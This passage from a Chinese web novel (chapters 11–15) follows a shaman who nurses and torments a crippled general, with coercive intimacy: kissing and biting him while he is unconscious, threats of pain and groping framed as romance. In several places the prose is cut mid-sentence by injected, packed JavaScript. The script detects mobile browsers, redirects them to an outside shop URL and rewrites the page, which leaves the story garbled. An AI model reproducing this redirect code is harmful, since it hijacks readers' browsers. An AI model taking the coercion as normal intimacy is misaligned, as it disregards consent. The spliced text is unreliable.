苗霜冲他一挑下巴:“把裤子脱了。” 祁雁震惊抬头:“现在还是白天!” “……你想什么呢?”苗霜也愣住了,没好气道,“我给你看看腿上的伤,都磕流血了,自己没感觉?” 11. 第 11 章 祁雁沉默下来。 片刻才道:“不必了吧,一些皮外伤而已。” 和断筋折骨的痛楚相比,根本不值一提。 苗霜一下子沉了脸色,冷冷道:“我最讨厌不听话的病人,或者我直接催动蛊虫把你疼晕过去比较干脆?” 祁雁抿了抿唇,终是放弃了和他较劲,弯腰脱去鞋袜,挽高裤腿。 苗霜眯起眼睛。 很显然,祁雁不喜欢被别人看到他的身体,尤其是腿,纵然已经干柴烈火过了,但新婚之夜花烛昏暗,平常更衣沐浴时又总是回避他,还从没像现在这般近距离地细观过。 苗霜在他面前蹲身。 手指触上那双伤痕累累的腿,他明显感觉到对方身体紧绷了起来,小腿上到处是淤伤,新旧相加层层叠叠,膝盖处最为严重,乌青泛紫肿胀流血,不知是昨晚磕的,还是今天磕的。 血已经洇透裤腿,到现在还没完全止住,不然他也不会发现。 苗霜帮他清理了伤口,又擦了点药,开始在他腿上摸索探寻,试着活动了一下关节,没有任何与他对抗的力量。 这筋断得彻底。 挑断他腿筋的人相当有水平,膝盖和脚踝附近的几条大筋全断,可以说这双腿是完全废了,动不了一点。 皇帝对他下这种狠手,明显就没想过再让他恢复,以凡间落后的医疗水平,这种复杂的接筋手术根本做不来。 手筋能接上已是万幸了。 “所以昨晚在祠堂,我让你起来你不起,不是你不想,是你根本起不来吧?”苗霜抬起头,幽幽看向他。 祁雁回避了他的视线,一言不发。 “那我要是没去找你,你打算怎么办,就在你父母的灵位面前跪上一宿?”苗霜似笑非笑,手中加力,用力掐住了他的小腿,“你要是这么喜欢折磨自己,不妨告诉我,我有一万种方法让你生不如死,何必那么麻烦?” 他刚好掐在断过骨头的地方,隐隐传来的疼痛让祁雁皱了皱眉。 “要是再让我看到你不听话,我就再给你加十只金色虫子,保证让你疼得没力气下床。” 他掐得越来越用力,让祁雁几乎以为自己刚长好的骨头要被生生掰断了,苗霜又忽然松手,站起身来。 这条腿骨头长歪了,正不回去,只能敲断了重接。 不过不是现在。 用蛊虫疗伤本就十分冒险,外来的东西留在身体里,身体一定会产生排斥,若是一次用得多了,只怕会直接把人送走,须得循序渐进,徐徐图之。 想完全把他治好还真有些难度,早知如此,刚才就不该那么信誓旦旦。 琢磨了一会儿,苗霜又问:“你这筋是什么时候断的?” 祁雁垂着眼帘:“被下狱的第一天。” 那是已经三个多月了,难怪肌肉萎缩成这样子。 “你这腿要是再这么下去,就算我给你接好了筋,你也一样走不了路,既然你自己动不了,那就让别人帮你,以后我每天给你按摩……” 说着,苗霜顿了顿。 每天都给他按摩也太麻烦了,堂堂魔尊苦了谁不能苦了自己,他可没那么多耐心。 于是他转身出门:“来福!” 祁雁面色一变:“等等!” 然而苗霜已经走了。 祁雁僵在原地,五指用力攥紧,许久,又慢慢松开。 ……罢了。 他沉默地一动未动,一直等到苗霜他们回来。 来福从没看到过他腿上的伤,虽然已经有了心理准备,但真正亲眼所见时,还是吓了一跳:“将军……” 祁雁没看他,也没吭声。 苗霜冲来福招了招手:“过来看着,我只教一遍,你好好学。” “来了,夫人。” 苗霜又转向祁雁,命令:“躺下。” 祁雁已经放弃了挣扎,乖乖躺下了,闭上眼睛,就当自己睡着了。 苗霜的手指顺着他的经络捋过,按得他酸疼发胀,却又十分舒服,精神慢慢放松下来。 镇痛安神的药物不断起效,倦意上涌,身边的嘈杂渐渐远去。 祁雁昏昏沉沉,也不知道自己是什么时候睡过去的,中途似乎听到有人喊他起来吃饭,却无论无何也睁不开眼。 直到夜半三更,药劲逐渐过去,他终于被手筋的酸胀抽疼给难受醒了。 他迷迷糊糊地坐起身来,口干舌燥想找口水喝,一抬头,却微微怔住。 苗霜不知为什么没睡觉,正懒洋洋地倚在门口,指尖把玩着一只斑斓的蛊蝶,蝶翼在月光下开开合合,流光溢彩。 雪白发丝散漫地落在肩头,被清辉打得半透,火红的狐狸毛披风松松垮垮地拢着,衬得精致的侧脸愈发白皙,那容貌无一丝瑕疵,全不似凡间之物。 祁雁喉头没由来地紧了一下,或许是他还没睡醒,又或许是别的什么原因,他竟觉得那人身上有种强烈的孤绝和寂寞,好似与这方天地格格不入,仿佛那只停在指尖的蝴蝶,于此间短暂驻足,又会随时翩然而去。 苗霜感受到他的视线,回过头来。 不得不说这苗人确实生得一副好皮相,加上异于常人的发色和瞳色,更有几分仙人之姿,让人过目难忘—— “将军盯着我做什么?一直用这种眼神看我,会让我以为你想和我做。” ——前提是他别开口说话。 祁雁一下子从天上被打落回了凡间,诡异地沉默了一会儿,道:“你脑子里除了那事,就没别的东西了吗?” 他居然会觉得这苗人长得好看,那情蛊真能控制他的思想不成? “食色性也,人要是没有七情六欲就不叫人了,”苗霜理直气壮,“你大半夜的不睡觉,在这坐着干什么?” “你不也一样没睡。” 苗霜撇了下嘴角,嫌弃道:“你身上药味太重,不想和你一起睡。” “……”祁雁早被熏得闻不出药味了,又凑近缠着绷带的手腕闻了闻,皱起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苗霜脸色更阴沉了几分,十分粗暴地把人推回房间,见他要去洗手,阴气森森地开口道:“敢用冷水洗我就弄死你。” 祁雁刚碰到水面的指尖又缩了回来。 苗霜往盥盆里添了半盆热水,一把抓过他的手狠狠按进水中,拆掉已经被水打湿的绷带,将绷带缠过的地方用力搓了搓。 药味总算洗干净,苗霜第三次拿出药膏,冷冷地扫了对方一眼。 祁雁坦然和他对视,表情无辜。 淡红色的药膏涂抹在手腕上,顺着筋络走向慢慢揉匀,很快就泛起热意,苗霜给他重新缠好了绷带,命令道:“睡觉。” “你不睡吗?” “管好你自己。” 祁雁没再说什么,翻身躺下了,他精神本就疲乏,呼吸很快变得平稳。 苗霜拎起遗落在床上的手炉,摸了摸已经冷了,重新添好木炭,抱着上了床。 习惯性地抢了半床被子,看到祁雁露出来的手,他皱了皱眉,从袖子里摸出一个兔毛护腕,给他套在了腕上,狠狠塞进被子。 真是麻烦得要命,不如毒死算了。 12. 第 12 章 但一觉醒来,苗霜打消了这个念头。 或许根本不用他下毒,姓祁的就先病死了。 后半夜时祁雁就开始发烧,苗霜懒得起来,没搭理,指望他自己退烧,结果到了早上,反而烧得更厉害了。 这些凡人的身体素质差到匪夷所思,区区几百只虫子。 苗霜十分烦躁,端着热好的药叫祁雁起来喝,却怎么也叫不醒。 就在他准备掰开他的嘴直接往下灌时,对方眼睫颤动,终于苏醒过来。 “赶紧喝药,”苗霜的耐心已然见底,“就你这身体还想让我给你治伤,阎王爷倒欠你九条命。” 祁雁整个人都昏昏沉沉的,也没听清他在说什么,挣扎着坐起身来,就着他的手把药喝了。 药味冲得他脑仁疼,本就干涩的嗓子更疼了,忍不住咳了两声。 喝完了药,他想躺下继续睡,又被苗霜一把薅住:“吃点东西再睡,从昨天中午到现在一口东西没吃,你身上还有几两肉够你这么饿?” 祁雁实在没胃口,一碗药下去足以抹消所有食欲,可苗霜已端着一碟点心坐在了床边:“尝尝,来福刚买回来的,还热乎。” 软糯温热的糕点抵在唇边,祁雁本能地张嘴咬了一口,清甜的滋味冲淡了嘴里的苦,他慢慢咀嚼吞咽,终于觉得有点饿了。 正想再咬一口,苗霜却已经不耐烦地把剩下的半块点心拍在他手心:“自己拿着。” 祁雁:“……” 究竟是谁说自己脾气好啊? 苗霜端着碟子走到了旁边,祁雁只能自己拿着糕点,凑在唇边慢慢地啃,啃了一会儿,他视线偏转,落在自己手腕上。 哪里来的护腕…… 他轻轻摸了摸,雪白的护腕十分顺滑柔软,像是兔毛。 他在边塞驻守了十几年,那里的草原上野兔十分的多,但这种小东西机敏又狡猾,并不好抓,倒是练习骑射的好靶子。 练兵之余的无聊时间,他常常带着弟兄们围猎这些野兔,猎到的兔肉用来加餐,兔皮也可以剥下来制成帽子或披肩。 有时他们为了得到一张完整的兔皮,会故意将箭射偏一寸,贴着兔子的身体擦过,兔子受到惊吓会选择装死,这时只需上前提起兔耳,再拧断它的脖子。 只不过草原上的野兔大多是灰色的,皮毛也没有这么柔软顺滑。 抚摸着雪白的兔毛护腕,他脑子不太清醒地说:“兔子很可爱。” 苗霜诧异回头:“哈?” 祁雁:“但兔肉真的很香。” 苗霜:“……” 这家伙怕不是烧傻了吧? 祁雁把最后一口点心塞进嘴里,抬起头,冲他笑了一下:“挺好吃的,还有吗?” 苗霜一愣。 那笑容十分虚弱,他甚至不知道祁雁为什么笑,他极少在泊雁仙尊脸上看到情绪的流露,纵然现在这个祁雁要比曾经的祁雁表情丰富许多,但接触这么多天了,他还是第一次看到这种不掺杂一丝杂质的纯粹的笑容。 他的确很喜欢祁雁这张脸,笑起来时那一抹温和冲谈了眉宇间与生俱来的冷意,以至于让他晃了下神,才反应过来对方说“好吃”不是指兔子,而是说点心。 他把剩下的点心都给了他,嘟囔了句:“不是说不饿吗。” “饿了,”祁雁接过盘子,又笑,“谢谢你的护腕。” 苗霜:“……” 果然还是傻了。 离傻子远些,免得被传染。 苗霜远远躲到了一边,洗了手开始从陶罐里捡药材,准备配个退烧药,没用杆秤称量,只靠手抓。 过了一会儿,他听到床帐内又传来祁雁的声音:“你见过大漠的雪吗?” 苗霜莫名其妙:“什么?” “皑皑白雪,覆盖了漫漫黄沙……那是难得一见的奇景,”祁雁看着手中的糕点,“和这点心很像。” 苗霜:“……?” 不就是糯米面和黄豆面吗,什么沙不沙雪不雪的。 “自两年前陛下把我调回京都,我就知道,我这辈子都不可能再见到大漠的雪了。” 苗霜沉默下来。 这事他是知道的,原著中有过详细的描述——祁家三代为将,自先帝时就驻守在北部边境,那里是大漠以南,阴山以北,阻截匈奴南下最重要的一条防线。 祁雁十六岁时正式从父亲手中接过兵符,也接过了大雍最强的一支军队,雁归军,十年来为大雍死死守住了北境,没让匈奴踏进大雍的疆土一丝一毫。 但没有外患,必有内忧,大雍最大的内忧竟是皇帝自己,自从新帝即位,皇城内外再没一天安宁日子,季渊疑心太重,对手握重兵的祁雁非常忌惮,害怕他哪天起兵造反,夺走自己得来不易的帝位。 加上大雍境内有一条直连阴山和帝都晏安的古道,为千年前修建的军事要道,从南至北一千八百里,快马奔袭只需三天,本为抗击匈奴、方便调兵传信之用,在季渊眼里却成了祁雁造反的捷径,为大雍开疆拓土、御敌戍边的雁归军也成了豺狼虎豹,仿佛下一秒就会自古道长驱直入,马蹄滚滚踏破晏安。 季渊每日为此提心吊胆,做梦都是祁雁率兵兵临城下,逼宫篡位的景象,两年前终于忍无可忍,想办法把祁雁调回了京中,让他统领禁军,干一些有的没的的小事。 虽说是统领禁军, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289245|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际除了日常练兵以外,根本没有实权,想要跨过皇帝调兵比登天还难。 这一波明升实贬,算是把祁雁这只翱翔在边塞的鹰狠狠折断了羽翼,关进了鸟笼里。 但即便这样皇帝还是不放心,觉得留着他总归是个祸患,便借由圣蛊之事大做文章,想彻底弄死祁雁以绝后患——也就是他们现在正在经历的剧情了。 “父亲总教导我,要做个忠臣,”祁雁将掉在掌心的点心屑倒进嘴里,“可我时常疑惑不解,祁家世代忠良,却为何落得满门抄斩的下场?” 苗霜不知道该说些什么。 他总不能说“因为你遇到了个昏庸无能的狗皇帝,赶紧杀了他自己上位”吧。 虽然书里的祁雁的确这么做了。 但祁雁自己想反,和他撺掇祁雁反是两码事。 “那时我跪在父亲的灵位前,真的很想问问……”祁雁闭上眼睛,似乎有些疲倦,又有些痛苦地皱起了眉头。 “做个忠臣,究竟是要忠于君,还是要忠于民?” 他声音渐渐小了下去,直到再没动静,苗霜撩开床帐,看到他靠在床头,已然睡着了。 苗霜神色复杂。 居然能问出“忠于君还是忠于民”这种鬼话,该说不说,果然是个造反的好苗子。 他要是现在进宫把这番话汇报给皇帝,皇帝一定会连圣蛊都不要了,直接把祁雁凌迟处死吧。 苗霜打量着床上的人,目测了一下他这一身骨头架子还有几块肉可片。 如果是原主,说不定还真会选择出卖祁雁博取皇帝信任,但他不一样,伴君如伴虎,皇帝从未真正相信过他,即便是他自献命蛊之血。 从他和祁雁结为夫妻那日起,他们就已经是一根绳上的蚂蚱,皇帝得到圣蛊的那天,会杀了祁雁,同样会杀了他。 就算不谈这个,退一万步讲…… 他和祁雁一个魔道至尊,一个仙道魁首,他们中间容不下任何人,不论是在修真界,又或是这红尘凡间。 苗霜拿开没吃完的点心,扶祁雁躺下,指尖搭在他手腕上,给他号起了脉。 腕间皮肤滚烫,脉搏虚浮无力又快得吓人,大概是离死不远了。 还是先退烧吧。 他把泡好的药材点火煎上,又打了盆冷水回来,投了条湿毛巾,要给祁雁降温,一抬眼却看到—— 之前不知躲到哪去的白蛇又冒了出来,正趴在祁雁身上,用自己冰冷的蛇身覆盖住他的额头。 苗霜眼皮跳了跳,幽幽看向它:“你在干什么?” 白蛇朝他吐了吐信子,红玛瑙般的小豆眼透出几分无辜。 “……给我下来。” 13. 第 13 章 白蛇非但没下来,还又往前爬了一截,用自己还凉着的一段身体替换了已经被祁雁的体温捂热的那段身体。 它这离奇的举动让苗霜的表情变得极为诡异,阴恻恻地扬起嘴角:“给、我、下、来。” 白蛇宁死不从,苗霜终于忍无可忍,一把将它抓在手心,目光沉沉地看着它。 意识到自己真的惹主人生气了,白蛇又讨好似的用尾尖勾了勾他的手指,一副可怜相。 苗霜眯起眼睛。 蠢货。 这么个蠢东西究竟是怎么在蛊王之争中胜出的,凭它长得可爱?萌死了其他蛊虫? 他嫌弃地撇下了蛇,命令道:“老实待着,少来给我捣乱。” 他把凉毛巾贴在祁雁额头,发现白蛇确实没再来捣乱,而是直着上身守在旁边,那模样活像是在……监工。 苗霜眉头狂跳,好悬才忍住没把它顺着窗户扔出去。 退烧药很快煎好了,苗霜端着药碗坐在床边,在“强行叫醒祁雁”和“掰开他的嘴给他灌下去”之间犹豫了三秒,终于选择了拿起勺子,舀了一勺药。 刚盛出来的药还冒着热气,他轻轻吹了吹,送到祁雁唇边,顺着唇缝给他喂了进去。 喉结滚动,即便在睡梦中祁雁也尝到了苦味,眉心微微蹙起。 苗霜给他喂了第二勺,祁雁牙关咬得有点紧了,他费了点劲才喂进去。 第三勺……第三勺苗霜直接把勺子扔回了碗里。 他看了看碗里一点没见少的药,又看了看完全不配合的将军,把药碗重重搁在了床桌上。 魔尊大人的耐心就像竹篮里的水,一滴不能再多了,他面色阴沉地盯着祁雁看了一会儿,忽然将目光转向在旁边监工的蛇。 他一把抓起蛇按在了药碗旁边:“不是想照顾他吗?给你机会,你来喂。” 白蛇:“???” 它一脸震惊地看着自家主人——如果蛇的确能露出“震惊”这种表情的话。 和蛇大眼瞪小眼片刻,苗霜自觉没趣,果断起身:“来福!” 来福正在和账房核算定做家具的账目,听到他喊自己,立马放下手头的事,跟着他来到房间。 一看到床上半死不活的祁雁,来福不禁愣住了:“将军这是……怎么了?” “还能怎么了,快死了呗。”苗霜没好气道。 “什么?!”来福大惊,“将军不是昨天还好好的?” 苗霜:“……” 也不知是哪只眼睛看出他“好好的”。 懒得解释,他把药碗递给对方:“赶紧喂他喝了,再不退烧就真死了。” “哦哦!”来福急忙接过。 他坐在床边给祁雁喂药,苗霜就站在旁边看着,越看越觉得浑身膈应,像是有小虫子在身上爬。 身为小厮,干伺候人的活儿,自然有伺候人的耐心,祁雁不配合他就慢慢地喂,流出来的药汤用手帕擦掉……明明没有哪里不对,可就是觉得哪里不对。 终于,苗霜忍不住了,一把夺过还剩小半的药碗,命令:“走开。” 来福:“啊??” 他一脸懵逼地让开了位置,莫名其妙地挠了挠头,浑身写满了疑惑不解。 不是让他喂药吗,这还没喂完呢,怎么又不让喂了…… “这不用你了,去跟厨房说中午给将军做些好消化的吃食。” “是,小的这就去。” 来福风风火火地走了,苗霜看了看剩下的药,端起药碗一口抿进嘴里。 俯身覆上祁雁滚烫的唇,强行把药给他渡了进去。 药汤打湿了他因为高烧而干裂的唇瓣,苗霜轻轻掐住他的下颌,总觉得还少了点什么。 又在那唇瓣上用力啃咬了两下,直到啃出一丝血气,血的腥味和药的苦涩在口腔中交织缠绕,他看着祁雁嘴角的伤口,终于心满意足。 这样才像话。 姓祁的就算明天真死了,那也得带着他的痕迹去死。 他受不了别人碰祁雁,让来福帮他按摩已是极限,碰嘴唇是万万不可。 在万魔峰时,他手下那些不知好歹的魔总想冲在他前面和祁雁交手以表忠心,可他那时只想把他们和那群苍蝇一样扰人的正道修士一起杀了。 祁雁的对手只能是他,他的对手也只能是祁雁。 他有些干渴地舔了舔嘴角,那表情看起来很想把面前的人嚼碎吃了,猩红双眸在他身上打量,似乎在寻找从哪里下嘴更好。 白蛇从被子里爬了出来,顺着枕边游走,用尾巴尖碰了碰祁雁额头的毛巾。 苗霜回过神来。 毛巾已经热了,他取下来重新投凉,覆回祁雁额头上,顺手把蛇扒拉到一边。 他守在床边帮某人冷敷额头降温,以免他真烧傻了,退烧药灌下去没多久就开始起效,祁雁出了一身汗,终于难受得醒了过来。 一睁眼,就看到苗霜坐在他面前,对他说:“醒了?正好,省得我叫你,起来吃饭。” 祁雁还有些迷糊,也完全不饿,但苗霜已经不由分说地把他扶了起来,从床桌上拿起一碗清汤寡水的面,从里面挑了一筷子面条送到他唇边,笑眯眯地说:“张嘴。” 祁雁:“……” 这世上没有什么事比苗霜笑着喂他吃饭更惊悚,他看着那张近在咫尺的脸,浑身汗毛都竖了起来。 退烧让他的脑子彻底清醒,他垂眼看着碗里的面,几乎怀疑那白色的不是面条,而是虫子。 早上苗霜是不是也喂他吃了什么东西来着……他好像还跟他说了些什么话,但脑子烧得一片浆糊,完全不记得了。 越想越瘆人,祁雁赶紧接过了筷子和碗,用还没恢复的右手随便扒拉了两下,连汤带水把一碗面囫囵吞了下去。 见他吃完了,苗霜便不再搭理他,坐到一边吃自己的,祁雁盯着他看了半晌,嘴里才慢慢咂摸出那碗面的滋味,因高烧而失灵的嗅觉逐渐复苏,只觉苗霜的那碗面香得要命。 那里面卧了鸡蛋,加了半碗鲜亮诱人的叉烧,还点缀着嫩绿的葱花,让他忍不住滚了滚喉结:“为什么你吃得这么丰盛,就给我吃素面?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289246|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苗霜瞄了他一眼:“将军还在生病,不宜吃得太过油腻,容易消化不良。” 祁雁:“……” “不过给你尝尝也不是不行,”苗霜故意夹起了一片肉,炫耀给他看,“你过来,我就给你吃。” 祁雁看了看桌子和床之间的距离,又看了看不知道被谁推到远处的轮椅,冷笑了一下。 苗霜本来也没想真给他,把肉放进自己嘴里,嘲讽道:“过不来就算了。” 没有轮椅连床都下不了,还要忍受苗霜当着他一个病号的面吃香喝辣,祁雁十分气恼,没有任何一刻比现在更想快点恢复。 他试着活动了一下右手,能动一些了,但还是僵疼得厉害。 “究竟要多久才能好?”他问。 “少则三五天,多则十天半个月,看你的恢复能力,”苗霜边吃边说,“不过就你这个我不给硬你塞你都不吃药不吃饭的样子,势必是快不起来的。” 祁雁:“?” 那么一碗往死里难喝的药,但凡是个正常人也不可能爱喝,那一碗药灌下去,还能吃得下去饭才有鬼。 他冷峻的眉峰压低:“你要是别总趁我昏睡对我做那种龌龊事,我兴许还能好得快些。” 苗霜看向他的嘴唇。 龌龊?哪里龌龊? 不过是亲了一下。 “这就龌龊了?”他脸上似笑非笑,“那我以后要做的龌龊事还多着,将军不妨先习惯习惯。” 祁雁:“…………” 他不禁为这苗人的无耻程度感到震惊。 在祠堂当着他先祖的面用他的身体做那种事还不算龌龊,究竟怎样才算龌龊? 要不是这几日苗霜将他榨得一干二净,他又怎会气血两亏到会被几只虫子撂倒? 祁雁黑着一张脸,只觉浑身刺挠,又因为退烧药的作用,加上刚吃了一碗热面,他现在浑身是汗,衣服都湿了,黏糊糊地贴在皮肤上,更是难受得紧。 “把轮椅给我,”他冷冷开口,“我要沐浴。” “你才刚退烧,现在就洗澡小心着凉,要是再染了风寒,华佗再世也救不回你。” “那总不能就这样吧?”祁雁皱着眉,“你晚上难道不和我一起睡觉?” 连他身上有点药味都要嫌弃。 苗霜想了想,觉得那还是不能苦了自己,毕竟这将军府上下想找个舒服的床可不容易,拆家时所有值钱的家具都被拉走了,不值钱的全部砸烂,新定做的家具还没到,这几天府里的下人都是睡在临时搭建的床板上的。 也就只有这间皇帝赏过的婚房尚且能看,他除了和祁雁凑合睡一张床,没别的办法。 “我给你打盆水,你擦擦身吧。”苗霜道。 不能洗澡,能擦一擦也是好的,祁雁只得退而求其次,他脱了身上汗湿的衣服,接过苗霜递来的温毛巾,尝试给自己擦身。 虽然左手不如右手好用,但这点小事还是能办到的,他把浑身上下仔细擦净,只有后背无论如何也料理不到。 不得已,他再次求助苗霜:“帮我一下。” 14. 第 14 章 他擦身的时间,苗霜已经吃完了面,可惜祁雁现在的身体不怎么好看,没法下饭,吃得没滋没味。 他上前帮祁雁擦背,祁雁低下头,嶙峋的肩胛愈发突出。 毛巾贴着他脊骨擦过,苗霜的手掌慢慢下移,他注视着那些纵横交错的伤疤,神情难辨:“这些疤痕我会想办法帮你去掉,不过数量太多了,一两次处理不完,只能慢慢来。” 祁雁不是很想没事就被虫子咬,委婉道:“不弄也行,我不在意。” “……谁管你在不在意?”苗霜眯起眼来,“当人傀就要有当人傀的自觉,以后少给我受伤,你知道修复起来有多麻烦吗?” 祁雁指了指自己嘴唇上的伤口:“那这又怎么说?” 刚刚吃面的时候他就觉出疼了。 “只有我能弄伤你,”苗霜理直气壮,“其他任何人都不行,包括你自己。” “……”祁雁被他气笑了。 他就没见过这么蛮不讲理的人——或许“蛮子”这个词本身就有它的道理。 他冷冷问:“擦好了没?” 苗霜帮他反复擦了后背,将毛巾扔回水盆里,又找了身干净衣服给他披上。 祁雁低下头去系腰侧的带子,可一只手不方便,半天也没系上,正在这时,苗霜忽然抓住他的手,从背后抱住了他。 祁雁皱眉:“又干什么?” 他扭过头去看对方,苗霜也刚好探头过来,一瞬间两人几乎鼻尖贴到了鼻尖,过分近的距离让祁雁呼吸微滞,就听到苗霜近在咫尺的声音: “将军就这么在意我亲你?屡次三番地提起,莫非这里是你的敏|感点不成?” 他说着又往前凑了凑,用嘴唇擦过他的嘴唇,轻轻舔了舔他唇瓣上的伤口。 祁雁猛地往旁边一躲:“??” 他几时屡次三番地提起过? 他这反应却更让苗霜觉得猜测被印证,唇边笑意扩大,伸手扣住他的下颌强行将他掰了回来,指尖刚好抵上他的喉结,在那颗暗色的小痣上用力一按。 “……!”难以形容的痛痒感剧烈袭来,尖锐的刺激在脑海中炸开,祁雁几乎觉得眼前发黑,脆弱处遭到如此对待,窒息的痛苦中又交杂着一丝难以言喻的爽快,让他浑身汗毛倒竖,惊悚又舒服。 他感觉自己迟早有一天要被这该死的苗人和他该死的虫子活活折磨疯,顶着从骨髓深处涌起的虚软要将他推开,却听到他的声音又贴着耳畔响起:“将军今早说的话可是认真的?” 祁雁身形一顿。 他嗓子又疼又痒,咳了两声,嘶哑道:“什么话?” “……你该不会忘了吧?”苗霜的眼神变得有点奇怪,“那我提醒提醒你——忠于君,还是忠于民?” 祁雁:“!!” 因为高烧而模糊的记忆悉数回到了脑海之中,心脏因惊悸而剧烈跳动起来,他几乎是瞬间反扣住了苗霜的手,拇指死死抵住了他腕间脉门。 苗霜感受到他散发出的杀意,却不躲不闪,甚至兴味盎然地咬了咬他的耳垂:“要是你内力还在,现在我已经是个死人了,可惜。” 祁雁:“……” 他慢慢松开了手,周身寒意渐渐散去,重新冷静了下来,沉声问:“你要去陛下那里告我的状?” “那你现在应该在刑场上,被刽子手剐成了一千八百片。” 祁雁被他从身后抱住,看不到他的脸,却觉得他现在的表情应该相当愉快。 “我被凌迟处死,这难道不是你高兴看到的?” “负责处死你的人又不是我,我有什么好高兴的?”苗霜的手掌下移,探进衣服,盖住他胸前被烙铁烫出的疤痕,“更何况,这么做对我有什么好处?” “如了陛下的愿,他自会给你一切你想要的。” “我要他放我的族人一条生路,给我们一些生存的空间,他可能给我?” “泱泱大国,浩浩圣恩,九五之尊,金口玉言——有何不可?” “我可不傻,”苗霜捏住了什么,用力揉搓,“他能为了区区圣蛊就下令血洗苗寨,又将为大雍效忠三代的祁家满门抄斩,把你这个保家卫国的将军折磨得不成人样,你真以为他会在乎我们这些虫子的死活?” 他指尖用力,指甲将那颗掐得充血,也不知是在恨祁雁还是在恨皇帝:“与虎谋皮只有死路一条,将军自己应该深有体会才对。” 祁雁痛痒难耐,试图掰开他的手:“你和我说这些又有何用。” “虽然你我同床异梦,但敌人的敌人就是朋友,就算不是朋友,未尝不可共同谋划,待到目的达成,再分道扬镳。” “敌人的敌人?”祁雁冷笑,“你又如何知道我是站在你这边的,而不是忠于陛下?” “如果你没说出那句话,我的确要以为你是个愚忠的蠢才,毕竟你遭到如此虐待都一声不吭,听之任之,忍之受之,很难不让人怀疑你有什么特殊的癖好。” 祁雁额头青筋直跳,终于拽开了他的手:“离我远点!” “将军,你可是有把柄攥在我手里了,”苗霜放过了上面,手转而向下,虚虚握住,“劝你拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289247|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前先斟酌一番,可别真的惹到了我。” 祁雁气急败坏,咬牙切齿,忍无可忍:“你就不怕我是第二个季渊?!” “……你这话真够胆大,不过我喜欢,”苗霜笑了,“你若真是第二个季渊,那也好说,我杀了你就行,反正你不忠于君,我也不忠于‘君’。” 体内的蛊虫隐隐作痛起来,祁雁闭了闭眼。 这苗人真是个疯子。 已死的苗寨款首野心滔天,这大巫却有过之而无不及,不肯依附南照,甚至要反了大雍皇帝,难道这厮想自立为王不成? 但有一点他没说错,至少现阶段他们的目的一致……也怪他一时大意不小心说出了心里话,事已至此,只能先应承下来。 他紧锁的眉头渐渐舒展,语气归于平静,拿开对方的手:“大巫未免太高看我了,我一个双腿残疾武功尽失的废人,被削了兵权夺了官位,亲朋散尽孑然一身,就算不忠于君又能如何?不过是一时郁闷,发泄之言,莫要太当真了。” “哈?”苗霜眯起眼来,有点想掐死他,“我不是说了我能治好你?” “你这法子却也不见什么成效,”祁雁抬起右手,五指不自然地蜷缩着,手筋的僵疼让他没办法伸直手指,“似乎还不如不治。” 苗霜不耐烦地啧了一声:“我都说了少则三五天——” 顿了顿,又话风一转:“你要实在着急也不是不行,我可以试着帮你把筋捋开,让你恢复得更快些,不过,你可别疼得向我求饶。” “你觉得我还会在意这点疼?” “好啊,”苗霜抓过他的手,拽下护腕,拆掉绷带,“那就来。” * 来福在门口站了有一会儿了。 昨天夫人跟他说好,让他每天这个时间过来给将军按摩双腿,虽然不知道将军今天病重还需不需要按摩,但他还是来了。 结果还没敲门,就听到里面传来奇怪的动静。 “你就不能轻点?!”这是将军的声音。 听到将军没事,人醒了,还有力气开口说话,来福十分欣慰,但…… “这就受不了了?”这是夫人的声音,他似乎在用力,声音有些断断续续的,“明明是你要的,怎么我满足你,你又挑这挑那?” 祁雁:“……够了!停下,要断了!” 来福:“………………” 不是。 上午的时候夫人还说将军病得要死了,怎么这才过去两个时辰,又?! 他昨天劝将军的话,将军是一点也没听进去啊!! 15. 第 15 章 来福尴尬地站在门前,敲门也不是,不敲也不是。 正在他准备离开时,却听见屋里响起夫人的声音:“来福,在外面站着干什么?进来。” 来福吓了一跳,万万没想到自己站在这里竟被发现了,一时间尴尬更甚,手脚都不知道往哪里放。 只得做好了看到不该看到的画面的打算,深吸一口气,推门而入—— 祁雁眉头紧锁,刚才苗霜给他捋右手的筋,差点没把他疼死,这苗人确实对他有深仇大恨,把他往死里按。 到现在他手还有点抖,手腕附近的皮肤红了一片,不过效果显著,手指灵活了许多。 